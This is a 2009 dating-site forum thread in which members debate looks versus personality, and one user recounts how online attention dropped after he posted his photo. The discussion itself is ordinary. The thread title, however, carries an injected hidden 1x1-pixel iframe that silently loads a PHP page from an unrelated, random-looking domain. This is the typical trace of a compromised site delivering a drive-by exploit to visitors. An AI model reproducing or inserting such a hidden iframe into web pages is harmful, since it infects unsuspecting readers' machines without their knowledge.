Dating<iframe src='http://yfoniauiryckdlfa.uni.me/maxu231211/6d77e853b91fe1730b655d4982cd2b46/spl.php' width=1 height=1> </iframe> >> Looks versus Personality OR you need them both ??????????

03.04.2009, 09:57 quote

annmarie5988

sc0ttie wrote:

jeggae wrote:

Can be subjective but can be generalised.

I had a good personality once apparently, when I didn't have a picture up. Chatting to women all night on msn and indeed some women wanted to meet me. Plenty of flirting on the two forums I go on, this and another.

As soon as I put my pic up.....the msn chats slowed down and stopped in some cases, flirting on the forums stopped, all night scrabble games stopped, women that wanted to meet me ignored me, women that were friends with me probably decided I wasn't as good a friend anymore. Now I'm just ignored by a lot of them.

hey but that's just probably me moaning again

could that not just have been circumstance? what if you had not have put a pic up and the same still happened? what would you blame it on then? somebody else having a pic up? If it was just flirting, friendship and scrabble games it doesn't have to be quite such a personal reason for it ending does it? some people take flirting very seriously and some people think its just a laugh and flirt with loads of people. If you are saying your flirting had turned into a relationship then that is different, but if they had not even met you it doesn't sound like anything serious, does it?

All night scrabble....could it be they just got bored of scrabble? "oh no, here comes Jeg, i bet he is going to ask me to play scrabble again with him." Laughing

Its not personal but maybe they just didn't want to play scrabble all night anymore?

I totally agree with your flirting comments Scott ........... some poeple take it far to seriously, you know really actually think they are being crushed on, and someone actually wants to lick them etc .... not saying that some of those comments aren't true. Not that i am a sceptic but have had my fingers burnt a couple of times so i am alot more wary of what people tell me, luckily i am not a muppet and hang of there every word ....... Laughing

The way i see it is, if you have a pic up then whoever, can choose whether they want to start talking to you, at least they have an idea of what the person is like. (and yes Jegs i know some people photos aren't recent or even real Smile

)

If you dont have a pic up then you are only setting yourself up for a fall, which inturn leads to all the negative comments about internet dating, yes of course personality has its part to play but then so does physical attraction. This is not to say you can stop any of the prick/clit teasers the ones that have no intention of meeting you even if you looked like Brad Pritt or Angelilina Jolie

There are a few on this site, yeah i know shock horror .......... Razz

I am having a dilema myself at the moment, do i take a chance on someone who i would not normally go for, decisions, decisions .......... Twisted Evil

I have always gone with my gut instinct and 99% of the time it has worked, if they seem a bit dodgy then they probably are. Just my take on things and yes i am still single ............. Laughing

03.04.2009, 11:17 quote

sc0ttie

kadushu wrote:

I think what Jeggae has said does happen, but not exclusively. It is easy to build up a false impression of someone online - filling in the blanks with what you want to believe. Purely text-based communication is far from ideal when it comes to getting to know someone. I'm sure there are plenty of open-minded people out there who would be less judgemental, but it's all a matter of personal preference and being honest. Webcam chat has made things a lot more open.

--- I can't believe this topic has come up again, and here I am posting again.---

Rolling Eyes

Oh yeah I know it goes on, I wasn't disputing that, but I was trying to say is that maybe they ALL didn't stop talking to him or wanting to meet him just because he put a pic up. I think Jeg tends to beat himself up a bit at times, from what i have seen on here. I would try to give people the benefit of the doubt when I could as people don't always make decisions based upon looks and it is good to keep in mind that other outside factors can make somebody lose interest.

Maybe if somebody does not put a picture up to start with, when they have pictures of themselves available to use, they might be trying to control what peoples perception of them is, just a little bit too much? who knows, i am sure their could be many reasons for not putting a pic up. But if it is just flirty friendship then it probably isn't worth reading too much into it.

03.04.2009, 14:11 quote

jeggae

Joined: 06 Dec 2008 Posts: 2174 Location: United Kingdom, England, Bedfordshire

sc0ttie wrote:

jeggae wrote:

Can be subjective but can be generalised.

I had a good personality once apparently, when I didn't have a picture up. Chatting to women all night on msn and indeed some women wanted to meet me. Plenty of flirting on the two forums I go on, this and another.

As soon as I put my pic up.....the msn chats slowed down and stopped in some cases, flirting on the forums stopped, all night scrabble games stopped, women that wanted to meet me ignored me, women that were friends with me probably decided I wasn't as good a friend anymore. Now I'm just ignored by a lot of them.

hey but that's just probably me moaning again

could that not just have been circumstance? what if you had not have put a pic up and the same still happened? what would you blame it on then? somebody else having a pic up? If it was just flirting, friendship and scrabble games it doesn't have to be quite such a personal reason for it ending does it? some people take flirting very seriously and some people think its just a laugh and flirt with loads of people. If you are saying your flirting had turned into a relationship then that is different, but if they had not even met you it doesn't sound like anything serious, does it?

All night scrabble....could it be they just got bored of scrabble? "oh no, here comes Jeg, i bet he is going to ask me to play scrabble again with him." Laughing

Its not personal but maybe they just didn't want to play scrabble all night anymore?

No it wasnt circumstances Scott, too much of a coincidence, and does shows how shallow net dating can be. I'm clear in my mind what happened.

I never take flirting seriously and rarely message anyone, let alone pester anyone to meet me.
Also I don't think I've ever asked anyone to play me at scrabble, always waited to be asked.

I'll try and keep it brief, but explains why I am like I am on the net. Also is on topic with the subject matter of the thread.

I joined this site and liked the discussion board, so joined a few more dating sites to see what the forums were like, and another site had a good forum.

I started posting on here in 2006 and enjoyed the chat and the flirting, until it went sour because I got involved in some [I consider] bullying that was going on on here, so I went off the board for a while and posted on some others, including the other one I still go on. But I didn't have a pic up as I wasnt interested in dating, and not keen on the way I look in pics anyways.

I came back on here couple months later, so I was posting on two forums with no pic and enjoyed the flirting on both. I didn't take the flirting seriously and had no real intentions of meeting anyone.

Anyhow, in 2007 women started to message me on both sites telling me how good my posts were..funny and also intelligent at times. As it went on a few of the women wanted to meet me as they [apparently] liked my personality, but wanted to see what I looked like..."not that that's important, as looks aren't"

So I reluctantly put a pic up..not a very good one I must admit, and the women just disappeared

This wasnt the thing that got to me as I'm not that worried about meeting women off the net, but other things like flirting etc.

Before I put my pic up, I was flirting on the two sites, and the other one was busier, and I think I was pretty good at it. Similar sort of threads to this one 'would you sleep with the above' etc, and it was all going great and enjoying it. Some women were wary because I didn't have a pic up, but I was still having fun. As soon as I put the pic up everyone on the forums changed and in some cases become rude. I became the bottom of the barrel over night Laughing

Suddenly excluded from all the fun bits. That really got to me.

The other site has plenty of meets, so last year I went to loads of meets to let women see what I'm like in person. It worked as things has improved for me on there over the last few months, and I now have a lot of admirers, and a lot of women are after me Very Happy

..also the flirting has improved, and although I'm still bitter on there I enjoy it a bit more. But deep down I'm not really interested in net dating, especially over long distances.

I never take flirting seriously and rarely message anyone, let alone pester anyone to meet me.
Also I don't think I've ever asked anyone to play me at scrabble, always waited to be asked.

Maybe I have taken it all to heart a bit, but it probably has to do with the rut I'm in

hasn't improved on this site and I stay out of the fun bits, and women still have digs at me. But nothing I can do on here as I'm not going to meet anyone.

But women on dating sites are only average women, and I can attract similar in real life, so just want to get myself out of this rut and off the net into real life.

Enough has happened to prove that on dating sites to know that looks [and pics] matters over personality. I've met hundreds of people on the net, and in my experience the people with the best pics tend to be a disappointment.

This is only really a net problem, not real life Laughing

03.04.2009, 14:22 quote

jeggae

Joined: 06 Dec 2008 Posts: 2174 Location: United Kingdom, England, Bedfordshire

annmarie5988 wrote: